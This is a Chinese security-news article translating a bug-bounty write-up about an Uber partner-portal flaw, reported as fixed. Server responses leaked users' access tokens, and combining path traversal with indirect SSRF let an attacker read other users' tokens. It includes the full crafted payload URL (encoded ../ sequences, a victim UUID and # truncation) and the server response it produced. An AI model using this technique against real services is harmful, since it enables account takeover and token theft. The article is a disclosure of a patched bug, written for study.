挖洞经验 | Uber服务端响应中的API调用缺陷导致的账户劫持

2019-05-02 69994人围观 ,发现 1 个不明物体 WEB安全漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

Uber服务端响应中的API调用缺陷导致的账户劫持今天分享的writeup是香港白帽Ron Chan (@ngalongc)发现的一个关于Uber网站的漏洞,他通过分析Uber的微服务架构和其中的API调用机制,利用其中的服务端响应缺陷,能以SSRF和目录遍历(PAth Traversal)方式获取到服务端为用户分配的token信息,从而实现对用户的账户劫持。虽然整个漏洞利用构造链亮点不多,但“Old but GOLD”,姜还是老的辣,漏洞还是老的好。

Uber微服务架构

微服务英文名称Microservice,Microservice架构模式就是将整个Web应用组织为一系列小的Web服务。这些小的Web服务可以独立地编译及部署,并通过各自暴露的API接口相互通讯。它们彼此相互协作,作为一个整体为用户提供功能,也可以独立地进行修改和扩容。

Uber的Web应用服务体系是基于很多微服务架构部署的,由于微服务中会涉及到大量的REST模式,因此,在与各种Uber应用的交互过程中,Uber服务端难免会调用到一些REST API接口。就比如说,你要查看某位司机的状态信息,Uber后端会涉及到类似如下的REST API接口调用:

https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01

从请求响应中发现端倪

设计理论上来说,显然,这种调用都是在Web应用后端(Backend)来执行实现的,因为在调用过程中,其内部的微服务架构没有针对IDOR攻击的安全检查权限。所以,矛盾点来了,如果这类API调用都是以预定的path/variables/host方式进行的,而且,这些调用是用户无法控制的,那么,Web应用后端(Backend)设置的身份验证措施又有何用呢?

用户确实不能控制这类API调用吗?我觉得这里要打个问号。2018年初,我在Uber网站partners.uber.com下发现了一个有意思的路径(Endpoint),它用来查询读取Uber司机的服务状态,其前端请求链接如下:

https://partners.uber.com/p3/money/statements/view/current

该查询链接涉及的请求看不出什么问题,但服务端对其的响应消息中却存在一些有意思的参数,如下:

{
  "request": {
    "uri": {
      "protocol": "http:",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
   "token":"ACCESS_TOKEN_OF_USER",
....

从上述响应消息可看出,涉及该查询链接的后端API GET请求调用如下所示:

http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx

这是一个典型的后端REST API调用。

仔细观察上述响应消息,可见其中的API调用对current的请求来自于原始前端请求链接:https://partners.uber.com/p3/money/statements/view/current,而且还会把current添加到 “pathname”参数的结尾,形成 “/v1/partners/xxxxx/statements/current” 。另外,调用中还包含其它查询相关参数,如涉及收入结构类型的earnings_structure_type,以及查询区域locale=en等。

上述响应消息的有意思之处在于,第一,其中包含了应用用户的访问token键值对 – “token”:”ACCESS_TOKEN_OF_USER”,这里还曾出现过一个Uber第三方应用的token撤销漏洞;第二,在查询请求request中缺乏验证调用者身份的 X-Auth-Token 头,但是,在服务端响应消息中竟然还返回了用户的访问token!

构造漏洞利用

这样来看,在请求中,如果我们能以某种方式,通过把我当前账户相关的用户ID数值(user_id或my_user_uuid) 更改为其他用户对应的用户ID数值(victim_id或victim_uuid),就可能实现对请求调用的操纵。之后,服务端通过这个其他用户的用户ID数值,会响应回来与其对应的账户token,那么,有了这个token,我们就能实现对该用户的账号劫持了。

基于以上思路,需要找到一个具备以下条件的前端请求路径(Endpoint):

能从其GET请求中传递任意相关参数;

能从其GET请求中传递经过编码转义的字符,防止一些不必要的字符解析和参数传递错误,如 %23 或 # 会截断URL中的参数截断;

服务端对GET请求能完整响应并可读。

漏洞实现

最终,经过查找分析,我发现了满足以上测试条件的一个前端请求路径(Endpoint):

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Uber服务端对这个请求路径的响应包含了如下的API GET请求调用:

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

我觉得其中的uuid – 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa,是用来在API GET请求调用中传递给path和query参数的,所以,我对原始的前端请求路径(Endpoint)做了如下修改:

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

 “/” 经url编码后为%2f,哪想到,上述查询链接的请求发起后,服务端响应的消息竟然和修改之前是一样的!那么,也就间接说明可用 “../”来对目录路径进行转义编码,还能用它来进行目录遍历。接下来,我们可以用 .. / 这种目录遍历方式,构造直达服务端根目录的前端请求链接,然后,到达根目录后,可以构造请求,获得服务端包含用户token和API调用的响应,另外,还可以用 # 来截断一些不必要的请求字段。其实,这就是一种间接的服务端请求伪造(SSRF)结合目录遍历(PAth Traversal)的漏洞利用。

预想一下,我们希望在服务端响应中能返回的API GET请求调用如下:

http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

这样,我们可以对它进行控制修改的样式就为:

http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id

因此,基于要在服务端响应中获得以上预想的API GET请求调用,我构造了如下的前端请求链接:

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

最终,我们执行以上前端请求链接后,在服务端响应中,获得了预想的如下API GET请求调用:

http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#……

因为服务端响应回来的消息包含了当前请求用户的token,所以,我们只要在上述构造的前端请求链接中,修改VICTIM_UUID为其他用户的的UUID,就能在服务端响应中获得该用户的token信息,从而间接实现了对该账户的账号劫持了。

以上即为Ron Chan对于这个漏洞的分享,整个过程就 是SSRF + Path Tranversal = Account Takeover。基于Uber漏洞赏金政策和漏洞的严重性来看,该漏洞的奖励赏金应该不会低于$4,000美金。

*参考来源:Ron Chan,clouds编译,转载请注明来自FreeBuf.COM

发表评论

已有 1 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php